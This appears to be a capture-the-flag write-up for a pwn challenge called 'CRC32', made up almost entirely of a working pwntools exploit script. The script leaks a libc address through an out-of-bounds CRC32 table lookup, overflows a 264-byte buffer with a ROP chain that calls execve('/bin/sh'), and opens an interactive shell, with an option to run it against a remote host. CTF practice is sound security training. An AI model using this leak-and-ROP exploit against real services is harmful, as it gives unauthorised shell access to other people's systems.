PWN
CRC32
from pwn import *
executable = './crc32'
elf = context.binary = ELF(executable)
io = None
def findByte(crc32_table, target):
for i in range(0, 255):
result = i ^ -1
result = result * 4
result = result + crc32_table
if result == target:
print(f'[Found] byte: {hex(i)}')
return i
def getHash(byte):
io.recv(0x8)
io.sendline(chr(byte).encode())
return int(io.recvline().decode().replace('CRC32: ', '').strip(), 16)
def execute(gadgets):
io.recv(0x8)
# 264 is the offset to return address
io.sendline((b'A' * 264) + gadgets)
io.recv(0x8)
io.sendline(b'\n')
def exploit():
input('[Debug] Press Enter to continue ...')
# LEAK libc
# 0x3FB8 setbuf_ptr
byte = findByte(crc32_table = 0x4020, target = (0x3FB8))
value = getHash(byte)
libc_base = value ^ ((0xFFFFFFFF >> 8))
byte = findByte(crc32_table = 0x4020, target = (0x3FB8 + 4))
value = getHash(byte)
libc_base |= (value ^ ((0xFFFFFFFF >> 8)) ) << 32
libc_base = libc_base - 0x8f740 # setbuf offset
print(f'[LIBC] {hex(libc_base)}')
# ROPGadget libc
gadgets = p64(libc_base + 0x10f75b) # pop rdi | rdi ptr to /bin/sh
gadgets += p64(libc_base + 0x1cb42f) # /bin/sh
gadgets += p64(libc_base + 0x1ab1f7) # xor rax | rax = 0
gadgets += p64(libc_base + 0xe0f53) # esi = rax | esi = 0
gadgets += p64(libc_base + 0xdd237) # pop rax | rax = execve address
gadgets += p64(libc_base + 0xeef30) # execve
gadgets += p64(libc_base + 0x116114) # xor edx, edx ; call rax | edx = 0 , call execve
execute(gadgets)
input('Interactive ...')
io.interactive()
def srv(ip, port):
global io
io = remote(ip, port)
exploit()
def local():
global io
io = process(executable)
exploit()
if __name__ == '__main__':
local()
# host = ''
# port = ''
# srv(host, port)UNION
Readfile
Last updated
Was this helpful?